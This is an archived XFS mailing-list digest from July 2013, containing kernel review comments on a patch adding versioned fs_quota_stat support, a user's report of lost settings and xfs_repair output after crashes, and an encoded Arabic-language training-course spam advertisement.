[137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DF4997F52 for ; Thu, 11 Jul 2013 03:08:49 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9AFD730406B for ; Thu, 11 Jul 2013 01:08:49 -0700 (PDT) X-ASG-Debug-ID: 1373530124-04bdf02b8ebcf240001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 70zGBVwIvTRDcQDJ for ; Thu, 11 Jul 2013 01:08:44 -0700 (PDT) X-Barracuda-Envelope-From: swhiteho@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r6B87tdv002863 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 11 Jul 2013 04:07:55 -0400 Received: from [10.36.5.12] (vpn1-5-12.ams2.redhat.com [10.36.5.12]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r6B87q2L031043; Thu, 11 Jul 2013 04:07:53 -0400 Subject: Re: [PATCH v11 3/4] xfs: Add proper versioning support to fs_quota_stat From: Steven Whitehouse X-ASG-Orig-Subj: Re: [PATCH v11 3/4] xfs: Add proper versioning support to fs_quota_stat To: Dave Chinner Cc: Chandra Seetharaman , xfs@oss.sgi.com, jack@suse.cz, adas@redhat.com In-Reply-To: <20130711080537.GC3438@dastard> References: <1373518843-1492-1-git-send-email-sekharan@us.ibm.com> <1373518843-1492-4-git-send-email-sekharan@us.ibm.com> <20130711080537.GC3438@dastard> Content-Type: text/plain; charset="UTF-8" Organization: Red Hat UK Ltd Date: Thu, 11 Jul 2013 09:05:04 +0100 Message-ID: <1373529904.2721.5.camel@menhir> Mime-Version: 1.0 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1373530124 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Hi, Please keep Abhi cc'd on this thread. Thanks, Steve. On Thu, 2013-07-11 at 18:05 +1000, Dave Chinner wrote: > On Thu, Jul 11, 2013 at 12:00:42AM -0500, Chandra Seetharaman wrote: > > Added appropriate pads and code for backward compatibility. > > > > Copied over the old version as it is different from the newer padded > > version. > > > > New callers of the system call have to set the version of the data > > structure being passed, and kernel will fill as much data as requested. > > > > Signed-off-by: Chandra Seetharaman > > --- > > fs/gfs2/quota.c | 3 -- > > fs/quota/quota.c | 67 +++++++++++++++++++++++++++++++++++++-- > > fs/xfs/xfs_qm_syscalls.c | 4 -- > > include/uapi/linux/dqblk_xfs.h | 60 +++++++++++++++++++++++++++++++---- > > 4 files changed, 116 insertions(+), 18 deletions(-) > > > > diff --git a/fs/gfs2/quota.c b/fs/gfs2/quota.c > > index c7c840e..ca0dccd 100644 > > --- a/fs/gfs2/quota.c > > +++ b/fs/gfs2/quota.c > > @@ -1443,9 +1443,6 @@ static int gfs2_quota_get_xstate(struct super_block *sb, > > { > > struct gfs2_sbd *sdp = sb->s_fs_info; > > > > - memset(fqs, 0, sizeof(struct fs_quota_stat)); > > - fqs->qs_version = FS_QSTAT_VERSION; > > - > > switch (sdp->sd_args.ar_quota) { > > case GFS2_QUOTA_ON: > > fqs->qs_flags |= (FS_QUOTA_UDQ_ENFD | FS_QUOTA_GDQ_ENFD); > > diff --git a/fs/quota/quota.c b/fs/quota/quota.c > > index c7314f1..ac5dd3a 100644 > > --- a/fs/quota/quota.c > > +++ b/fs/quota/quota.c > > @@ -204,15 +204,72 @@ static int quota_setxstate(struct super_block *sb, int cmd, void __user *addr) > > return sb->s_qcop->set_xstate(sb, flags, cmd); > > } > > > > -static int quota_getxstate(struct super_block *sb, void __user *addr) > > +static int quota_getxstate(struct super_block *sb, void __user *addr, > > + bool older_version) > > I'd suggest that the two API calls should be handled by separate > functions so there are no overlapping, dependent branches in the > code. > > > { > > struct fs_quota_stat fqs; > > - int ret; > > + struct fs_quota_stat_v1 fqs_v1; > > + int ret, size; > > + void *fqsp; > > > > if (!sb->s_qcop->get_xstate) > > return -ENOSYS; > > I'd also suggest that a sb->s_qcop->get_xstatev vector is added > so that filesystems keep the separate as well. > > And that means we don't need to play the fs_quota_stat and > conversion-to-fs_quota_stat_v1 games. i.e. the existing > quota_getxstate() remains and uses the existing struct > fs_quota_stat, and the new Q_XGETQSTATV calls quota_getxstatev() and > uses the newly defined struct fs_quota_statv and ->get_xstatev() > call.... > > > @@ -137,31 +139,75 @@ typedef struct fs_disk_quota { > > * Provides a centralized way to get meta information about the quota subsystem. > > * eg. space taken up for user and group quotas, number of dquots currently > > * incore. > > + * With version FS_QSTAT_VERSION, user space can send in an uninitialized > > + * buffer and data will be filled by the kernel. > > + * Starting FS_QSTAT_VERSION_2, to be used with Q_XGETQSTATV, user space > > + * caller should set qs_version to the appropriate version of the > > + * fs_quota_stat data structure they are providing. On return, user > > + * space should check qs_version and use appropriate fields supported by > > + * that version. > > */ > > #define FS_QSTAT_VERSION 1 /* fs_quota_stat.qs_version */ > > +#define FS_QSTAT_VERSION_2 2 /* new field qs_pquota; realignment */ > > As per above, this reasoning and logic is all invalid now because we > aren't trying to maintain compatibility between users of the same > quotactl. > > We are using a new quotactl, so we do not need to overload the > existing structure or versions. > > > +/* > > + * Some basic information about 'quota files'. Version 2. > > + */ > > +struct fs_qfilestat { > > + __u64 qfs_ino; /* inode number */ > > + __u64 qfs_nblks; /* number of BBs 512-byte-blks */ > > + __u32 qfs_nextents; /* number of extents */ > > + __u32 qfs_pad; /* pad for 8-byte alignment */ > > +}; > > + > > +struct fs_quota_stat { > > + __s8 qs_version; /* version for future changes */ > > + __u8 qs_pad1; /* pad for 16bit alignment */ > > + __u16 qs_flags; /* FS_QUOTA_.* flags */ > > + __u32 qs_incoredqs; /* number of dquots incore */ > > + struct fs_qfilestat qs_uquota; /* user quota information */ > > + struct fs_qfilestat qs_gquota; /* group quota information */ > > + struct fs_qfilestat qs_pquota; /* project quota information */ > > + __s32 qs_btimelimit; /* limit for blks timer */ > > + __s32 qs_itimelimit; /* limit for inodes timer */ > > + __s32 qs_rtbtimelimit;/* limit for rt blks timer */ > > + __u16 qs_bwarnlimit; /* limit for num warnings */ > > + __u16 qs_iwarnlimit; /* limit for num warnings */ > > + __u64 qs_pad2[8]; /* for future proofing */ > > +}; > > these are what become fs_quota_statv and fs_qfilestatv structures > for the new quotactl. > > > +/* > > + * Since Version 1 did not have padding at appropriate places, > > + * a new data structure has been defined for the older version to > > + * provide backward compatibility. > > + * Future extentions of this data structure won't require new > > + * data structure definitions as the current one can be extended > > + * with the logic and padding in place now. > > + */ > > +#define FS_QSTAT_V1_SIZE (sizeof(struct fs_quota_stat_v1)) > > +#define FS_QSTAT_V2_SIZE (sizeof(struct fs_quota_stat)) > > And these can go away completely. > > Cheers, > > Dave. From david@fromorbit.com Thu Jul 11 03:11:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9BC007FA0 for ; Thu, 11 Jul 2013 03:11:26 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 862658F80A3 for ; Thu, 11 Jul 2013 01:11:23 -0700 (PDT) X-ASG-Debug-ID: 1373530280-04cbb0468fdd93d0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id A4KGPvABiap9cEso for ; Thu, 11 Jul 2013 01:11:21 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AuQLAGdo3lF5LD3k/2dsb2JhbABagwm9HoUsBAGBCRd0giMBAQU6HCMQCAMOCgklDwUlAyETiA63JhaOGxOBHQeDCWwDl1mKIocpgyMqgS0 Received: from ppp121-44-61-228.lns20.syd6.internode.on.net (HELO dastard) ([121.44.61.228]) by ipmail06.adl2.internode.on.net with ESMTP; 11 Jul 2013 17:41:14 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1UxBy5-0000x5-4C; Thu, 11 Jul 2013 18:11:13 +1000 Date: Thu, 11 Jul 2013 18:11:13 +1000 From: Dave Chinner To: Chandra Seetharaman Cc: xfs@oss.sgi.com, jack@suse.cz, swhiteho@redhat.com Subject: Re: [PATCH v11 3/4] xfs: Add proper versioning support to fs_quota_stat Message-ID: <20130711081113.GD3438@dastard> X-ASG-Orig-Subj: Re: [PATCH v11 3/4] xfs: Add proper versioning support to fs_quota_stat References: <1373518843-1492-1-git-send-email-sekharan@us.ibm.com> <1373518843-1492-4-git-send-email-sekharan@us.ibm.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1373518843-1492-4-git-send-email-sekharan@us.ibm.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1373530280 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136433 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Jul 11, 2013 at 12:00:42AM -0500, Chandra Seetharaman wrote: > Added appropriate pads and code for backward compatibility. > > Copied over the old version as it is different from the newer padded > version. > > New callers of the system call have to set the version of the data > structure being passed, and kernel will fill as much data as requested. > > Signed-off-by: Chandra Seetharaman Oh, and I forgot to mention: > + /* > + * For forward compatibility. Check against all supported > + * versions, and if the version provided is not supported > + * by the kernel, set to the highest version supported. > + * For now only FS_QSTAT_VERSION_2 is supported. > + */ > + if (fqs.qs_version != FS_QSTAT_VERSION_2) > + fqs.qs_version = FS_QSTAT_VERSION_2; New API, new version number and enforcement: if the version number passed in from userspace is not understood, -EINVAL or an equivalent "parameter not understood" error should be returned. If the kernel doesn't understand what it is being passed, then there's no guarantee that anything quota info we return can be understood by the caller. And while I remember, we'll also need quotactl(2) man page updates for the new API. Cheers, Dave. -- Dave Chinner david@fromorbit.com From markus@trippelsdorf.de Thu Jul 11 04:08:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E6E5F7F50 for ; Thu, 11 Jul 2013 04:08:02 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 67E61AC003 for ; Thu, 11 Jul 2013 02:07:59 -0700 (PDT) X-ASG-Debug-ID: 1373533676-04bdf0233fdfa1b0001-NocioJ Received: from mail.ud10.udmedia.de (ud10.udmedia.de [194.117.254.50]) by cuda.sgi.com with ESMTP id pknbsIlTBArJCC1a (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 11 Jul 2013 02:07:57 -0700 (PDT) X-Barracuda-Envelope-From: markus@trippelsdorf.de X-Barracuda-Apparent-Source-IP: 194.117.254.50 DKIM-Signature: v=1; a=rsa-sha256; c=simple; d=mail.ud10.udmedia.de; h= date:from:to:cc:subject:message-id:references:mime-version :content-type:content-transfer-encoding:in-reply-to; s=beta; bh= DyReRLGZtiAFwMSddFDVulPmhXWwv92VAkHrP62zB00=; b=bEngSNoEZx5lWEIV hl2xChSgko5NZ1vTcz7sJxiaNIOe6u45cNFcsB8M/79eDRcbo/C7NxshreHTk6s4 gQEFAT/ePwl2BU8LOIslqPu/eXa9987rFBcJBjq9WdDdFcF83cFb49ymoZ9Pgh4X rTGIamfOIkmzvmgTVPOY4Uf5F10= Received: (qmail 17289 invoked from network); 11 Jul 2013 11:07:55 +0200 Received: from unknown (HELO x4) (ud10?360p3@91.64.96.185) by mail.ud10.udmedia.de with ESMTPSA (DHE-RSA-AES256-SHA encrypted, authenticated); 11 Jul 2013 11:07:55 +0200 Date: Thu, 11 Jul 2013 11:07:55 +0200 From: Markus Trippelsdorf To: Stan Hoeppner Cc: Dave Chinner , xfs@oss.sgi.com Subject: Re: Corruption of root fs during git bisect of drm system hang Message-ID: <20130711090755.GA363@x4> X-ASG-Orig-Subj: Re: Corruption of root fs during git bisect of drm system hang References: <20130710090634.GA356@x4> <20130711003122.GR3438@dastard> <20130711033621.GB362@x4> <20130711035827.GA3438@dastard> <51DE30BC.1050905@hardwarefreak.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <51DE30BC.1050905@hardwarefreak.com> X-Barracuda-Connect: ud10.udmedia.de[194.117.254.50] X-Barracuda-Start-Time: 1373533676 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136437 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 2013.07.10 at 23:12 -0500, Stan Hoeppner wrote: > On 7/10/2013 10:58 PM, Dave Chinner wrote: > > On Thu, Jul 11, 2013 at 05:36:21AM +0200, Markus Trippelsdorf wrote: > > >> I was loosing my KDE settings bit by bit with every reboot during the > >> bisection. First my window-rules disappeared, then my desktop background > >> changed to default, then my taskbar moved from top to the bottom, etc. > >> In the end I had to restore all my .files from backup. > > > > That's not filesystem corruption. That sounds more like someone not > > using fsync in the apropriate place when overwriting a file.... > > From Sandeen's blog, March 2009: > > "I dunno how to resolve this right now. I talked to some nice KDE folks > on irc; they basically want atomic writes, either you get your old file > or your new file post-crash; and tempfile/sync/rename does this – but > the fsync hurts on 78% of the Linux filesystems out there. So their > KSaveFile class doesn’t fsync. So what to do, what to do.." > > That's 4 years ago. Is it possible the KDE devs are still not using > fsync? Sure seems likely given Markus' problem. Looking at the source: http://api.kde.org/4.10-api/kdelibs-apidocs/kdecore/html/ksavefile_8cpp_source.html#l00219 it appears that one can set an environment variable KDE_EXTRA_FSYNC to address this issue. However in my case it doesn't help. Even with KDE_EXTRA_FSYNC=1 I still loose my KDE settings in case of a crash. So the whole fsync thing might be a red herring. What's more this time I endend up with undeletable files in /tmp (for example .X0-lock) after the crash: (/dev/sdb was mounted and unmounted normally before I ran xfs_repair) t@ubunt:~# xfs_repair /dev/sdb Phase 1 - find and verify superblock... Phase 2 - using internal log - zero log... - scan filesystem freespace and inode maps... agi unlinked bucket 0 is 683435008 in ag 2 (inode=4978402304) agi unlinked bucket 1 is 683435009 in ag 2 (inode=4978402305) - found root inode chunk Phase 3 - for each AG... - scan and clear agi unlinked lists... - process known inodes and perform inode discovery... - agno = 0 imap claims a free inode 1897177 is in use, correcting imap and clearing inode cleared inode 1897177 imap claims a free inode 1897179 is in use, correcting imap and clearing inode cleared inode 1897179 imap claims a free inode 1897180 is in use, correcting imap and clearing inode cleared inode 1897180 imap claims a free inode 1897181 is in use, correcting imap and clearing inode cleared inode 1897181 - agno = 1 imap claims a free inode 2152321787 is in use, correcting imap and clearing inode cleared inode 2152321787 imap claims a free inode 2152321789 is in use, correcting imap and clearing inode cleared inode 2152321789 imap claims a free inode 2152321790 is in use, correcting imap and clearing inode cleared inode 2152321790 imap claims a free inode 2152321792 is in use, correcting imap and clearing inode cleared inode 2152321792 7f8fdbde0700: Badness in key lookup (length) bp=(bno 1806856096, len 16384 bytes) key=(bno 1806856096, len 8192 bytes) imap claims a free inode 2547803922 is in use, correcting imap and clearing inode cleared inode 2547803922 - agno = 2 imap claims a free inode 4297828992 is in use, correcting imap and clearing inode cleared inode 4297828992 imap claims a free inode 4297828996 is in use, correcting imap and clearing inode cleared inode 4297828996 imap claims a free inode 4298016921 is in use, correcting imap and clearing inode cleared inode 4298016921 imap claims a free inode 4299215923 is in use, correcting imap and clearing inode cleared inode 4299215923 imap claims a free inode 4299249355 is in use, correcting imap and clearing inode cleared inode 4299249355 imap claims a free inode 4299249356 is in use, correcting imap and clearing inode cleared inode 4299249356 imap claims a free inode 4425478382 is in use, correcting imap and clearing inode cleared inode 4425478382 imap claims a free inode 4425843325 is in use, correcting imap and clearing inode cleared inode 4425843325 imap claims a free inode 4425843327 is in use, correcting imap and clearing inode cleared inode 4425843327 - agno = 3 imap claims a free inode 6442719595 is in use, correcting imap and clearing inode cleared inode 6442719595 imap claims a free inode 6443102082 is in use, correcting imap and clearing inode cleared inode 6443102082 imap claims a free inode 6443102083 is in use, correcting imap and clearing inode cleared inode 6443102083 imap claims a free inode 6443102093 is in use, correcting imap and clearing inode cleared inode 6443102093 imap claims a free inode 6443102105 is in use, correcting imap and clearing inode cleared inode 6443102105 imap claims a free inode 6443102106 is in use, correcting imap and clearing inode cleared inode 6443102106 - process newly discovered inodes... Phase 4 - check for duplicate blocks... - setting up duplicate extent list... - check for inodes claiming duplicate blocks... - agno = 0 - agno = 3 - agno = 2 - agno = 1 entry "fcron.pid" at block 0 offset 1448 in directory inode 4297829059 references free inode 4297828992 clearing inode number in entry at offset 1448... entry "fcron.fifo" at block 0 offset 1472 in directory inode 4297829059 references free inode 4297828996 clearing inode number in entry at offset 1472... entry "syslog-ng.pid" at block 0 offset 1496 in directory inode 4297829059 references free inode 4425843325 clearing inode number in entry at offset 1496... entry "squid.pid" at block 0 offset 1544 in directory inode 4297829059 references free inode 4425843327 clearing inode number in entry at offset 1544... entry "KSMserver__0" in shortform directory 1897175 references free inode 4393990 junking entry "KSMserver__0" in directory inode 1897175 entry "syslog-ng.persist" in shortform directory 6455045890 references free inode 6442719595 junking entry "syslog-ng.persist" in directory inode 6455045890 corrected i8 count in directory 6455045890, was 5, now 4 entry "blkid.tab" in shortform directory 2526452945 references free inode 2547803923 junking entry "blkid.tab" in directory inode 2526452945 entry "watch" in shortform directory 2526452947 references free inode 1897177 junking entry "watch" in directory inode 2526452947 entry "+pci:0000:00:00.0" at block 0 offset 2056 in directory inode 6814850679 references free inode 6443102082 clearing inode number in entry at offset 2056... entry "+pci:0000:00:06.0" at block 0 offset 2200 in directory inode 6814850679 references free inode 6443102105 clearing inode number in entry at offset 2200... entry "+pci:0000:00:11.0" at block 0 offset 2272 in directory inode 6814850679 references free inode 6443102093 clearing inode number in entry at offset 2272... entry "+pci:0000:00:12.1" at block 0 offset 2416 in directory inode 6814850679 references free inode 6443102083 clearing inode number in entry at offset 2416... entry "+pci:0000:00:13.2" at block 0 offset 2704 in directory inode 6814850679 references free inode 6443102106 clearing inode number in entry at offset 2704... entry "303" in shortform directory 2684075842 references free inode 2152321790 junking entry "303" in directory inode 2684075842 entry ".X0-lock" at block 0 offset 120 in directory inode 2684075878 references free inode 2152321787 clearing inode number in entry at offset 120... entry "orbit-markus" at block 0 offset 224 in directory inode 2684075878 references free inode 4299249355 clearing inode number in entry at offset 224... entry "OSL_PIPE_1000_SingleOfficeIPC_b9c45eb0c44ccbd12ea27aa1b043919f" at block 0 offset 248 in directory inode 2684075878 references free inode 2152321792 clearing inode number in entry at offset 248... Phase 5 - rebuild AG headers and trees... - reset superblock... Phase 6 - check inode connectivity... - resetting contents of realtime bitmap and summary inodes - traversing filesystem ... entry "queue.bin" in directory inode 2526452947 references already connected inode 2152321794. -- Markus From info@mbc-training.net Thu Jul 11 04:18:06 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2F06F7F50 for ; Thu, 11 Jul 2013 04:18:06 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 007B1304039 for ; Thu, 11 Jul 2013 02:18:02 -0700 (PDT) X-ASG-Debug-ID: 1373534279-04cbb0468fddcda0001-NocioJ Received: from vps.mbc-training.net (50.22.39.115-static.reverse.softlayer.com [50.22.39.115]) by cuda.sgi.com with ESMTP id PY3xYAC8A79TVxIA (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 11 Jul 2013 02:18:00 -0700 (PDT) X-Barracuda-Envelope-From: info@mbc-training.net X-Barracuda-Apparent-Source-IP: 50.22.39.115 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=mbc-training.net; s=default; h=Content-Type:MIME-Version:Message-ID:Date:Subject:To:From; bh=UJmIv0YFOT3CZDLRIORQuZOpYcE0r9a42cyhoZwY+2s=; b=bLHTXWuvaIdyX+VCrx5scLxex9NGA4n1rlyuF2BLwIPZE2IlbQBz15x7gV1PWOUQf4Dh5E0kFX8iDucm3wC+jS/X44jsMHIxZZtR95t/+z86UlejpAreG/H2TVQlYQF2tRPUGFgUN0+zmWEfSlGvBysw4v1GxWj8wkna7etRNc8=; Received: from [178.253.76.120] (port=1354 helo=pc) by vps.mbc-training.net with esmtpsa (TLSv1:RC4-MD5:128) (Exim 4.80.1) (envelope-from ) id 1UwuTn-0005Ad-Re; Wed, 10 Jul 2013 17:30:59 +0400 From: =?windows-1256?B?49Hf0iDH4cXPx9HJIOYgx+HD2uPH4SDh4crP0e3IIA==?= To: =?windows-1256?B?49Hf0iDH4cXPx9HJIOYgx+HD2uPH4SDh4crP0e3IIA==?= Subject: =?windows-1256?B?49Hf0iDH4cXPx9HJIOYgx+HD2uPH4SDt3s/jIM/m0ckg3e0gz8jtIOPk?= =?windows-1256?B?ICggMjUgxeHsIDI5ICkgw9vT2NM=?= Date: Wed, 10 Jul 2013 16:00:38 +0300 X-ASG-Orig-Subj: =?windows-1256?B?49Hf0iDH4cXPx9HJIOYgx+HD2uPH4SDt3s/jIM/m0ckg3e0gz8jtIOPk?= =?windows-1256?B?ICggMjUgxeHsIDI5ICkgw9vT2NM=?= Message-ID: <11e101ce7d71$ae435db0$0aca1910$@net> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_11E2_01CE7D8A.D39095B0" X-Mailer: Microsoft Office Outlook 12.0 Content-Language: ar-sy Thread-Index: Ac59ZSOX/QlxOVnHQZygHfzfh0l3mg== X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - vps.mbc-training.net X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - mbc-training.net X-Get-Message-Sender-Via: vps.mbc-training.net: authenticated_id: info@mbc-training.net X-Barracuda-Connect: 50.22.39.115-static.reverse.softlayer.com[50.22.39.115] X-Barracuda-Start-Time: 1373534280 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.02 X-Barracuda-Spam-Status: No, SCORE=0.02 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA_TO_FROM_DOMAIN_MATCH, DKIM_SIGNED, HTML_MESSAGE, THREAD_INDEX X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136437 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 0.01 BSF_SC0_SA_TO_FROM_DOMAIN_MATCH Sender Domain Matches Recipient Domain MIME. ------=_NextPart_000_11E2_01CE7D8A.D39095B0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_11E3_01CE7D8A.D39095B0" ------=_NextPart_001_11E3_01CE7D8A.D39095B0 Content-Type: text/plain; charset="windows-1256" Content-Transfer-Encoding: base64 IA0KDQogICAgICAgICAgICAgx+HT7c8vIMfh48/t0SDH4ePTxObhICCWICDH4ePm3tENCg0KICAg ICAgICAgICDKze3JINjtyMkg5iDf4SDax+Mg5iDD5MrjIMjD4d0gzu3RIMjN4ebhINTl0SDR49bH 5CDH4ePIx9HfICDmyNrPDQouLi4NCg0KIA0KDQogDQoNCsrMz+bkIN3tIMfh4+HdIMfh49Hd3iDH 4cjR5MfjzCDH4crP0e3I7SDH4ePKztXVIMja5ObH5CA6DQoNCtTlx8/JIOPP7dEg49/KyCDjzcrR 3SANCg0Kx+Hj5cfRx8ogx+HHzcrRx93tySDh4dPf0crH0e3JIObjz9HHwSDH4ePfx8rIIA0KDQrH 4cXjx9HHyiDH4drRyO3JIMfh48rNz8kgliDPyNzc3Nzc3Nzc7Q0KDQrh48/JIMPTyObaIMfaysjH 0ccg4+QgMjUg5uHbx+3JIDI5IC8gIDggIC8yMDEzIA0KDQrh4c3M0iDmx+Hj1MfR38kgx+HHytXH 4SDa4ewgx+HD0d7H4yDH4crH4e3JIDoNCg0KRmF4IDogMDA5NzE0NDMxMzgyMiCWIFVBRTouIDAw OTcxNTA5MTMzMzU2IC8gIEtTQTogMDA5NjY1MDUzMzAwNjcgDQoNCiA8aHR0cDovL3d3dy5tYmMt dHJhaW5pbmcuY29tPiB3d3cubWJjLXRyYWluaW5nLmNvbSAjIyMNCjxtYWlsdG86aW5mb0BtYmMt dHJhaW5pbmcuY29tPiBpbmZvQG1iYy10cmFpbmluZy5jb20NCg0K49ogys3tx8og49Hf0iDH4cXP x9HJIOYgx+HD2uPH4SDh4crP0e3IIObH4crY5u3RICANCg0KysfI2ubHIMfhyt3H1e3hIN3tIMfh 4+HdIMfh49Hd3iANCg0KIA0KDQogDQoNCiANCg0KIA0KDQogDQoNCiANCg0KIA0KDQo= ------=_NextPart_001_11E3_01CE7D8A.D39095B0 Content-Type: text/html; charset="windows-1256" Content-Transfer-Encoding: quoted-printable

     

             &n= bsp;   =C7=E1=D3=ED=CF/ =C7=E1=E3=CF=ED=D1 = =C7=E1=E3=D3=C4=E6=E1  =96  =C7=E1=E3=E6=DE=D1

               =CA=CD=ED=C9 =D8=ED=C8=C9 =E6 =DF=E1 =DA=C7=E3 =E6 =C3=E4=CA=E3 = =C8=C3=E1=DD =CE=ED=D1 =C8=CD=E1=E6=E1 =D4=E5=D1 =D1=E3=D6=C7=E4 = =C7=E1=E3=C8=C7=D1=DF=A0 =E6=C8=DA=CF ...

     

     

    =CA=CC=CF=E6=E4 =DD=ED =C7=E1=E3=E1=DD =C7=E1=E3=D1=DD=DE =C7=E1=C8=D1=E4=C7=E3=CC =C7=E1=CA=CF=D1=ED=C8=ED = =C7=E1=E3=CA=CE=D5=D5 =C8=DA=E4=E6=C7=E4 :

    =D4=E5=C7=CF=C9 = =E3=CF=ED=D1 =E3=DF=CA=C8 =E3=CD=CA=D1=DD

    =C7=E1=E3=E5=C7=D1=C7=CA = =C7=E1=C7=CD=CA=D1=C7=DD=ED=C9 =E1=E1=D3=DF=D1=CA=C7=D1=ED=C9 =E6=E3=CF=D1=C7=C1 =C7=E1=E3=DF=C7=CA=C8 =

    =C7=E1=C5=E3=C7=D1=C7=CA =C7=E1=DA=D1=C8=ED=C9 =C7=E1=E3=CA=CD=CF=C9 =96 = =CF=C8=DC=DC=DC=DC=DC=DC=DC=DC=ED

    =E1=E3=CF=C9 = =C3=D3=C8=E6=DA =C7=DA=CA=C8=C7=D1=C7 =E3=E4 25 =E6=E1=DB=C7=ED=C9 29 /  8  /2013

    =E1=E1=CD=CC=D2 = =E6=C7=E1=E3=D4=C7=D1=DF=C9 =C7=E1=C7=CA=D5=C7=E1 =DA=E1=EC =C7=E1=C3=D1=DE=C7=E3 =C7=E1=CA=C7=E1=ED=C9 :

    Fax : 0097144313822 =96 UAE:. 00971509133356 / =  KSA: 00966505330067

    www.mbc-training.com ### info@mbc-training.com

